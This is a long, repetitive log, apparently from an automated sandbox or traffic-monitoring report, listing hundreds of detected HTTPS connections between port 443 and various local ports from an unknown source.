Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
